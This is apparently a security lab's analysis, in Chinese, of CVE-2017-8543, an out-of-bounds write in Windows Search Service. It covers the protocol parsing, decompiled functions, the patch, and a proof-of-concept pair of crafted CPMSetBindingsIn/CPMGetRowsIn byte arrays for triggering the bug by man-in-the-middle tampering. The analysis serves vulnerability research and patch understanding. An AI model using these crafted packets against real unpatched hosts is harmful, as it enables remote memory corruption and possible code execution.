作者:啟明星辰ADLab
1. 漏洞描述
2017年6月,微軟發布的補丁修復了多個遠程執行漏洞,其中包括 CVE-2017-8543 Windows Search 搜索漏洞(CNVD-2017-09381,CNNVD-201706-556),該漏洞幾乎影響所有的 Windows 操作系統。對于 Windows XP 和 Windows Server 2003 等停止更新的系統,微軟也發布了對應的補丁,用戶可以手動下載補丁進行安裝。
Windows 搜索服務(Windows Search Service,WSS)是 Windows 的一項默認啟用的基本服務,用于建立和維護文件系統索引。由于 WSS 在解析搜索請求時,存在內存越界漏洞,可能導致遠程代碼執行。
2. 協議分析
當客戶端對遠程主機發起搜索請求后,它們之間使用 Windows 搜索協議(Windows Search Protocol,WSP)進行數據交互。交互的消息序列如下所示。其中,CPMConnectIn 消息中包括服務器的名稱和索引名稱(默認 Windows\SYSTEMINDEX)。服務器驗證客戶端的權限后建立會話,回復 CPMConnectOut 消息; CPMCreateQueryIn 消息用于設置查詢的文件目錄范圍、關鍵字信息等; CMPSetBindingsIn 消息用于設置返回的查詢結果內容,例如文件名稱、文件類型等; CPMGetRowsIn 消息用于請求查詢結果。

以上信息的 Header 需遵循以下格式,Header 大小為 0x10。

其中,_msg 表示消息類型,常用的消息類型如下所示。

與該漏洞成因相關的兩個消息是 CPMSetBindingsIn 和 CPMGetRowsIn。
首先介紹 CPMSetBindingsIn 消息,消息的格式如下所示。
struct CPMSetBindingsIn
{
int msg_0;
int status_4;
int ulCheckSum_8;
int ulReserved2_c;
int hCursor_10;
int cbRow_14;
int cbBindingDesc_18;
int dummy_1c;
int cColumns_20;
struct Column aColumns[SIZE];
};
前 0x10 字節是消息 Header;hCursor 是 CPMCreateQueryOut 消息返回的句柄;cbRow 表示 row 的長度,以字節為單位;aColumns 是 Column 類型結構體數組;cColumns 是數組的長度。在這里,每一行 (row) 代表一條查詢結果,每一列 (column) 代表查詢結果屬性,例如文件名稱、文件類型等。

CPMSetBindingsIn 中的 Column 結構體定義如下:
struct Column
{
struct CFullPropSpec cCFullPropSpec;
int Vtype;
char AggregateUsed;
char AggregateType;
char ValueUsed;
char padding1;
short ValueOffset;
short ValueSize;
char StatusUsed;
char padding2;
short StatusOffset;
char LengthUsed;
char padding3;
short LengthOffset;
}
struct CFullPropSpec
{
char GUID[0x10];
int ulKind;
int PrSpec;
}
其中,GUID 標志所代表的屬性,例如 guidFilename=E05ACF41-5AF70648-BD8759C7-D9248EB9 代表文件名稱。

Vtype 表示 column 對應的數據類型。常用數據類型如下表,在 CPMSetBindingsIn 消息中,Vtype 一般取值 0x0c。

ValueOffset 表示在每一行 (row),該 column 數據存放的偏移位置,ValueSize 表示這個 column 數據所占內存大小。
當收到 CPMSetBindings 消息時,程序調用 DoSetBindings 進行數據解析。DoSetBindings 是 CRequestServer 類的成員函數。 CRequestServer 類中還包括其他解析函數,例如 DoCreateQuery、DoGetRows 等。數據成員 cCProxyMessage_c0 即為接收的數據 Buffer。
class CRequestServer
{
public:
void DoConnect(unsigned long len,unsigned long &var)(); //解析CPMConnectIn消息
void DoCreateQuery(unsigned long len,unsigned long &var); //解析CPMCreateQueryIn消息
void DoSetBindings(unsigned long len,unsigned long &var); //解析CPMSetBindingsIn消息
void DoGetRows(unsigned long len,unsigned long &var)(); //解析CPMGetRowsIn消息
.....
private:
...
CVIQuery *pCVIQuery_5c;
XArray *pXArray_6c;
CProxyMessage cCProxyMessage_c0;
...
};
DoSetBindings 函數的實現如下所示。
void DoSetBindings(unsigned long len,unsigned long &var)
{
CPMSetBindingsIn *pCPMSetBindingsIn = &cCProxyMessage_c0;
pCPMSetBindingsIn->ValidateCheckSum(var_40,len);
struct CMemDeSerStream* pCMemDeSerStream = new pCMemDeSerStream((char*)pCPMSetBindingsIn);
class CPidMapper* pCPidMapper=new CPidMapper(0);
CTableColumnSet * pCTableColumnSet = new CTableColumnSet(pCMemDeSerStream, pCPidMapper);
pCVIQuery_5c->SetBindings(pCPMSetBindingsIn->hCursor_10,
pCPMSetBindingsIn->cbRow_14,
pCTableColumnSet,
pCPidMapper);
}
(1)DoSetBindings 函數首先初始化 pCPMSetBindingsIn 指針,使其指向接收的 CPMSetBindingsIn 數據,然后使用 pCPMSetBindingsIn 指針初始化 CMemDeSerStream 類。CMemDeSerStream 類用于完成各個字段的讀取。

(2)使用 pCMemDeSerStream 指針初始化 CTableColumnSet 類。CTableColumnSet 類和 CPidMapper 類都是 CCountedDynArray 類的派生類。CCountedDynArray 是一個數組類,數據成員包含一個指針數組 Array_4。CTableColumnSet 類構造函數首先調用 GetULong 獲得數組長度 cColumns 作為循環次數,然后循環解析 aColumns 數組元素。在 while 循環中:
-
解析 column 結構中的
CFullPropSpec結構,將對象指針&CFullPropSpec添加到CPidMapper中:pCPidMapper->array_4[CurrentIndex] = &cCFullPropSpec -
解析 column 結構中的其他字段,并保存到
CTableColumn類,將對象指針pCTableColumn添加到CTableColumnSet中:pCTableColumnset->array_4[RetIndex] = pCTableColumn
CTableColumnSet(CMemDeSerStream *pCMemDeSerStream, CPidMapper* pCPidMapper)
{
int _ColumnCount = pCMemDeSerStream->GetULong();
SetExactSize(_ColumnCount);
char GUID[16]={0};
int count = 0;
do{
CFullPropSpec cCFullPropSpec(pCMemDeSerStream); //解析CFullPropSpec
if(0==cCFullPropSpec.IsValid())
goto error;
int RetIndex = pCPidMapper->NameToPid(&cCFullPropSpec,0,0);
CTableColumn *pCTableColumn = new CTableColumn(RetIndex,1); //解析CTableColumn
Add(pCTableColumn,RetIndex); count++;
}while(count<_ColumnCount);
}
(3)將 pCPidMapper 和 pCTableColumnset 作為參數傳入到 CVIQuery:: SetBindings 中。CVIQuery:: SetBindings 函數調用了 CTableCursor::CheckBindings,在 while 循環中,依次獲取 pCTableColumnset 中的 CTableColumn 元素,調用 checkBinding 檢測 CTableColumn 有效性。
int CheckBindings(CTableColumnSet *pCTableColumnSet,CTableRowAlloc *pCTableRowAlloc,int cbRow)
{
int index=0;
int result;
if(!pCTableColumnSet->CurrentIndex)
return 0;
while(1)
{
CTableColumn *pCTableColumn = pCTableColumnSet->Get(index);
result = CheckBinding(pCTableColumn, pCTableRowAlloc, cbRow);
if ( result < 0 )
break;
if ( ++index >= pCTableColumnSet->CurrentIndex)
return 0;
}
return result;
}
int CheckBinding(CTableColumn *pCTableColumn,CTableRowAlloc *pCTableRowAlloc,int cbRow)
{
pCTableColumn->Validate(cbRow,0);
//.......
}
CTableCursor::checkBinding 調用 CTableColumn::Validate 進行驗證,如果 ValueSize + ValueOffset 大于 cbRow,將拋出異常,以防內存越界。
void validate(int cbRow,bool flag)
{
try
{
if(ValueSize_06 + ValueOffset_04>cbRow)
throw 0x80040E08;
}
}
接下來介紹 CPMGetRows 消息,CPMGetRowsIn 消息格式如下:
struct CPMGetRowsIn
{
int msg_0;
int status_4;
int ulCheckSum_8;
int ulReserved2_c;
int hCursor_10;
int cRowsToTransfer_14;
int cbRowWidth_18;
int cbSeek_1c;
int cbReserved_20;
int cbReadBuffer_24;
int ulClientBase_28;
int fBwdFetch_2c;
int eType_30;
int chapt_3C;
union
{
CRowSeekAt cCRowSeekAt;
CRowSeekAtRatio cCRowSeekAtRatio;
CRowSeekByBookmark cCRowSeekByBookmark;
CRowSeekNext cCRowSeekNext;
}
}
CPMGetRowsOut 的消息格式如下:
struct CPMGetRowsOut
{
int msg_0;
int status_4;
int ulCheckSum_8;
int ulReserved2_c;
int cRowsReturned_10;
int eType_14;
int chapt_18;
//Rows_offset;
}
在 CPMGetRowsIn 消息中,cbRowWidth 表示 row 長度,與 CPMSetBindingsIn 消息中的 cbRow 意義相同。cbReadBuffer 表示用于存放 CPMGetRowsOut 消息的 buffer 大小;cbReserved 表示 Rows 數據在 CPMGetRowsOut 消息中的偏移;eType 表示查詢的方法,取值范圍如下表所示。

在 CPMGetRowsOut 消息中,對于每一行(row)中的列(column), column 數據使用 CTableVariant 類表示。CTableVariant 結構定義如下。其中 Vtype 表示數據類型,取值范圍見前文 Vtype 常用數據類型表所示。如果 Vtype 為字符串等變長數據類型,offset 則指向的該變長數據偏移位置。CTableVariant 結構存放在 valueoffset 指定的位置,變長數據則存放在內存末尾位置,在后面解析代碼中進行說明。

當接收 CPMGetRowsIn 數據,調用 DoGetRows 函數,函數實現如下所示。
void DoGetRows(unsigned long len,unsigned long &var)
{
CMPGetRowsOut *pCMPGetRowsOut = cCProxyMessage_c0;
CPMGetRowsIn *pCPMGetRowsIn = &cCProxyMessage_c0;
pCPMGetRowsIn->ValidateCheckSum(var_40,len);
char *pCPMGetRowsIn_eType_30 = &pCPMGetRowsIn->eType_30;
char *pCPMGetRowsIn_eType_cbseek= (char *)&pCPMGetRowsIn->eType_30 + pCPMGetRowsIn->cbSeek_1c;
struct CMemDeSerStream* pCMemDeSerStream = new pCMemDeSerStream(pCPMGetRowsIn_eType_30,
*pCPMGetRowsIn_eType_cbseek);
CRowSeekMethod* pCRowSeekMethod=0;
UnmarshallRowSeekDescription(pCMemDeSerStream,&pCRowSeekMethod,0);
int a2=0;
if(pCPMGetRowsIn->cbReadBuffer_24>0x1300) pXArray_6c->init(pCPMGetRowsIn->cbReadBuffer_24);
char * pArray = pXArray_6c->pArray_0;
if(pArray){
*(DWORD*)pArray = 0xcc;
*(DWORD*)(pArray + 4) = 0;
*(DWORD*)(pArray + 8) = 0;
*(DWORD*)(pArray + c) = 0;
}
pCMPGetRowsOut = pXArray_6c->pArray_0;
CFixedVarBufferAllocator cCFixedVarBufferAllocator(
pCMPGetRowsOut,
a2,
pCPMGetRowsIn->cbReadBuffer_24,
pCPMGetRowsIn->cbRowWidth_18,
pCPMGetRowsIn->cbReserved_20);
int flag =1;
CGetRowsParams cCGetRowsParams(
pCPMGetRowsIn->cRowsToTransfer_14,
flag,
pCPMGetRowsIn->cbRowWidth_18,
&cCFixedVarBufferAllocator);
CRowSeekMethod *pCRowSeekMethod_new;
pCVIQuery_5c->GetRows(
pCPMGetRowsIn->hCursor_10,
pCRowSeekMethod,
&cCGetRowsParams,
&pCRowSeekMethod_new);
}
(1)UnmarshallRowSeekDescription 函數根據 etype 類型(eRowSeekNext,eRowSeekAt,eRowSeekAtRatio或eRowSeekByBookmark),返回 SeekMethod 方法對象。
(2)如果 cbReadBuffer_24 長度大于 0x1300,分配新內存存放 CMPRowsOut, pCMPGetRowsOut 指向分配的地址。
(3)使用 pCMPGetRowsOut 指針初始化 CFixedVarBufferAllocator 類對象。CFixedVarBufferAllocator 構造函數如下所示。其中兩個關鍵的數據成員:RowBufferStart 地址為 rows 數據的基地址,RowBufferEnd 表示當前可用的末尾地址。
CFixedVarBufferAllocator(char *ReadBuffer,int a1,int cbReadBuffer,int cbRowWidth,int cbReserved)
{
pvatable_0 = &CFixedVarBufferAllocator::`vftable'{for `PVarAllocator'};
isequal_4 = (ReadBuffer != 0);
pvatable_8 = &CFixedVarBufferAllocator::`vftable'{for `PFixedAllocator'};
ReadBuffer_0c = ReadBuffer;
ReadBuffer_10 = ReadBuffer;
var_14 = a1;
RowBufferStart_18 = (char *)ReadBuffer + cbReserved;
RowBufferEnd_1c = (char *)ReadBuffer + cbReadBuffer;
cbRowWidth_20 = cbRowWidth;
cbReserved_24 = cbReserved;
while (RowBufferEnd_1c & 7 )
{
--RowBufferEnd_1c;
}
}
(4)使用對象地址 &cCFixedVarBufferAllocator,cbRowWidth 等參數初始化 CGetRowsParams 對象。最后調用 CVIQuery:: GetRows 函數。
int CVIQuery::GetRows(int hCursor,
CRowSeekMethod *pCRowSeekmethod,
CGetRowsParams *pCGetRowsParams,
CRowSeekMethod *pCRowSeekMethod_new)
{
int result;
CItemCursor *pCItemCursor = *(DWORD *)(var_68 + 4*hCursor);
CTableCursor *pCTableCursor = pCItemCursor + 0x14;
pCTableCursor->ValidateBindings(); //檢查pCTableCursor->pCTableColumnSet_4是否為
result = pCRowSeekmethod->GetRows(pCTableCursor,
pCItemCursor,
pCGetRowsParams,
pCRowSeekMethod_new);
return result;
//.................
}
假設 etype=eRowSeekAt,則 pCRowSeekmethod 指針 CRowSeekAt 類指針。此時函數調用序列:
CVIQuery::GetRows->CRowSeekAt:: GetRows->CVICursor:: GetRowsAt
CVICursor:: GetRowsAt 函數實現如下所示。其中,參數 pCTableColumnSet 是由前面的 DoSetBindings 函數構造。在 while 循環中:
- 調用
CFixedVarBufferAllocator::AllocFixed獲取當前行 (row) 存放的基地址 RowBufferBase。 - 調用
CItemCursor::GetRow依次獲取每一行(row)數據。
int CVICursor::GetRowsAt(int hRegion,
int bmkOffset,
int chapt,
int cskip,
CTableColumnSet *pCTableColumnSet,
CGetRowsParams *pCGetRowsParams,
int *pbmkOffset)
{
int result;
int fBwdFetch = pCGetRowsParams->fBwdFetch_14;
//this=pCItemCursor
while(pCGetRowsParams->cRowsToTransfer_0!=pCGetRowsParams->cRowsAlreadyGet_4&&!result)
{
char *RowBufferBase = pCGetRowsParams->pCFixedVarBufferAllocator_8->AllocFixed();
int index=0;
result = ((CItemCursor*)this)->GetRow(index, pCTableColumnSet, pCGetRowsParams, RowBufferBase);
if(!result)
{
pCGetRowsParams->cRowsAlreadyGet_4++;
pCGetRowsParams->var_10 = 0;
*pbmkOffset = index + 1;
if(fBwdFetch)
index++;
else
index--;
}
}
}
--------------------------------------------------------------------------------------------
char* CFixedVarBufferAllocator::AllocFixed()
{
char *result = RowBufferStart_18;
try
{
if(RowBufferEnd_1c - RowBufferStart_18 < cbRowWidth_20)
throw 0xC0000023;
RowBufferStart_18 += cbRowWidth_20;
}
return result;
}
CItemCursor::GetRow 調用 CWIDToOffset:: GetItemRow,代碼如下所示。CWIDToOffset:: GetItemRow 函數循環寫入 column 數據。在 while 循環中:
- 首先,從
CTableColumnSet數組中取出CTableColumn; - 然后,計算 Column 存放地址
pCTableVariant,pCTableVariant地址等于行基址RowBufferBase加上該 column 的偏移 ValueOffset。 - 最后,調用
CTableVariant::CopyOrCoerce,將 Column 數據寫入到pCTableVariant地址中。
int CItemCursor::GetRow(int index, CTableColumnSet *pCTableColumnSet, CGetRowsParams *pCGetRowsParams, char* RowBufferBase)
{
int value = psegvec_34->Get(index); //1=get(0);
CWIDToOffset *pCWIDToOffset = *(DWORD*)(pCVIQuery_10->var_7c);
return pCWIDToOffset->GetItemRow(index,value,pCTableColumnSet, pCGetRowsParams, RowBufferBase);
}
------------------------------------------------------------------------------------------
int CWIDToOffset::GetItemRow(int index, int value,CTableColumnSet *pCTableColumnSet, CGetRowsParams *pCGetRowsParams, char* RowBufferBase)
{
//...........
int index=0;
CTableVariant *pCTableVariant;
while(index<pCTableColumnSet->len_0)
{
//............
CTableColumn* pCTableColumn = pCTableColumnSet->Get(index_column);
int var5;
pCTableVariant = (CTableVariant*)(RowBufferBase + pCTableColumn->ValueOffset_04);
CTableVariant::CopyOrCoerce(pCTableVariant,
pCTableColumn->ValueSize_06,
pCTableColumn->Vtype_0E,
&var5,
pCGetRowsParams->pCFixedVarBufferAllocator_8);//寫入列屬性數據
}
}
在 CTableVariant::CopyOrCoerce 函數中,當 vtype=0x0c,首先調用 VarDataSize 函數,返回變長數據大小 size。
- 如果 column 為定長數據,size=0, 直接填充
pCTableVariant指針數據。
void CTableVariant::CopyOrCoerce(CTableVariant *pCTableVariant,int ValueSize,int Vtype,int *var5,CFixedVarBufferAllocator* pCFixedVarBufferAllocator)
{
//..........
if(Vtype==0x0c)
{
int size = VarDataSize();
Copy(pCTableVariant, pCFixedVarBufferAllocator, size, 0);
}
//.........
}
void CTableVariant::Copy(CTableVariant *pCTableVariant,CFixedVarBufferAllocator* pCFixedVarBufferAllocator,int size,int a4)
{
//............
if(size)
CTableVariant::CopyData(pCFixedVarBufferAllocator, size, a4);
pCTableVariant->vtype=vtype;
pCTableVariant->reserved1=reserved1;
pCTableVariant->reserved2=reserved2;
pCTableVariant->offset=offset;
}
- 如果 column 為變長數據,
size>0。函數調用序列如下:CTableVariant::CopyData-> PVarAllocator::CopyTo-> CFixedVarBufferAllocator::Allocate
調用 CFixedVarBufferAllocator::Allocate 獲取字符串存放地址:首先計算是否存在足夠的存儲空間,從 RowBufferEnd_1c 位置向前尋找存儲空間存放字符串:RowBufferEnd_1c = RowBufferEnd_1c-size;然后調用 memcpy 拷貝字符串。
void * CopyTo(int size, char *src)
{
char *buffer = Allocate(size);
memcpy(buffer, Src, Size);
return buffer;
}
void* CFixedVarBufferAllocator::Allocate(int size)
{
try
{
if(RowBufferEnd_1c-RowBufferStart_18<size)
throw 0xC0000023;
}
RowBufferEnd_1c = RowBufferEnd_1c-size;
return RowBufferEnd_1c;
}
查詢結果數據 CPMGetRowsOut 在內存中的狀態如下圖所示。可以看出,rows 中的變長數據存放在 Buffer 末尾位置,且以地址遞減的方式進行存放。

3. POC 與漏洞分析
實驗環境如下表:

在 client 端,附件->運行,輸入 “\\servername”,回車,即可看到共享文件夾。打開文件夾,在搜索框里輸入關鍵字進行搜索,這個搜索過程會產生一系列的 WSP 消息交互序列。

可以通過中間人的方式,修改數據包來重現這個漏洞。修改 CPMSetBindingsIn 和 CPMGetRows 消息,如下所示。
char CPMSetBindingsIn[] =
"\xd0\x00\x00\x00\x00\x00\x00\x00\x7c\x19\x35\xbd\x00\x00\x00\x00"
"\x01\x00\x00\x00" //_hCursor
"\x78\x07\x00\x00" //_cbRow
"\x34\x00\x00\x00"//_cbBindingDesc
"\x50\x39\xee\x69"
"\x01\x00\x00\x00" // cbRow
"\x70\x39\xee\x69" //padding
"\x90\x1c\x69\x49\x17\x7e\x1a\x10\xa9\x1c\x08\x00\x2b\x2e\xcd\xa9" //GUID
"\x01\x00\x00\x00"
"\x05\x00\x00\x00"
"\x0c\x00\x00\x00"
"\x01\x00"
"\x01\x00"
"\x60\x07" //ValueOffset
"\x10\x00" //ValueSize
"\x01\x00"
"\x02\x00"
"\x01\x00"
"\x04\x00";
char CPMGetRows[] =
"\xcc\x00\x00\x00\x00\x00\x00\x00\xae\x12\xfd\x5c\x00\x00\x00\x00"
"\x01\x00\x00\x00" //#+0x010 _hCursor
"\x20\x00\x00\x00" //#+0x014 _cRowsToTransfer
"\x02\x07\x00\x00"//#+0x018 _cbRowWidth
"\x14\x00\x00\x00" //#+0x01c _cbSeek
"\xee\x38\x00\x00"// #+0x020 _cbReserved
"\x00\x40\x00\x00" //#+0x024 _cbReadBuffer
"\x58\xe8\xad\x05" //#+0x028 _ulClientBase
"\x00\x00\x00\x00" //#+0x02c _fBwdFetch
"\x02\x00\x00\x00" //eType,eRowSeekAt
"\x00\x00\x00\x00" //_chapt
"\xfc\xff\xff\xff"//_bmkOffset
"\x00\x00\x00\x00"//_cskip
"\x00\x00\x00\x00";//_hRegion
cbReadBuffer=0x4000
RowBufferBase = ReadBuffer + _cbReserved = ReadBuffer + 0x38ee
CTableVariant *pCTableVariant = RowBase + valueoffset = ReadBuffer+0x38ee+0x760 = ReadBuffer + 404e
而 ReadBuffer 大小為 0x4000,因此向 column 中寫入數據時,將發生地址越界。
其實,在前面獲取 RowBufferBase 的 CFixedVarBufferAllocator::AllocFixed 函數中,是進行了合法檢查的。
char* CFixedVarBufferAllocator::AllocFixed()
{
char *result = RowBufferStart_18;
try
{
if(RowBufferEnd_1c - RowBufferStart_18 < cbRowWidth_20)
throw 0xC0000023;
RowBufferStart_18 += cbRowWidth_20;
}
return result;
}
但是由于 GetRowsIn 中的 cbRowWidth 本身是不可信的,可以任意賦值,因此可以繞過該檢查觸發漏洞。
4. 補丁分析
補丁對 CVIQuery::GetRows 函數代碼進行修改。在調用 pCRowSeekmethod->GetRows 函數前,對 cbRowWidth 的合法性進行判斷。其中,pCTableCursor->cbRow_2 值為 CPMSetBindingsIn 消息中的 cbRow 。
int CVIQuery::GetRows(int hCursor,
CRowSeekMethod *pCRowSeekmethod,
CGetRowsParams *pCGetRowsParams,
CRowSeekMethod *pCRowSeekMethod_new)
{
int result;
CItemCursor *pCItemCursor = *(DWORD *)(var_68 + 4*hCursor);
CTableCursor *pCTableCursor = pCItemCursor + 0x14;
pCTableCursor->ValidateBindings();
if(pCTableCursor->cbRow_2 != pCGetRowsParams->cbRowWidth_c)
return 0x80070057;
result = pCRowSeekmethod->GetRows(pCTableCursor,
pCItemCursor,
pCGetRowsParams,
pCRowSeekMethod_new);
return result;
//.................
}
啟明星辰積極防御實驗室(ADLab)
ADLab成立于1999年,是中國安全行業最早成立的攻防技術研究實驗室之一,微軟MAPP計劃核心成員。截止目前,ADLab通過CVE發布Windows、Linux、Unix等操作系統安全或軟件漏洞近300個,持續保持亞洲領先并確立了其在國際網絡安全領域的核心地位。實驗室研究方向涵蓋操作系統與應用系統安全研究、移動智能終端安全研究、物聯網智能設備安全研究、Web安全研究、工控系統安全研究、云安全研究。研究成果應用于產品核心技術研究、國家重點科技項目攻關、專業安全服務等。

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/355/
暫無評論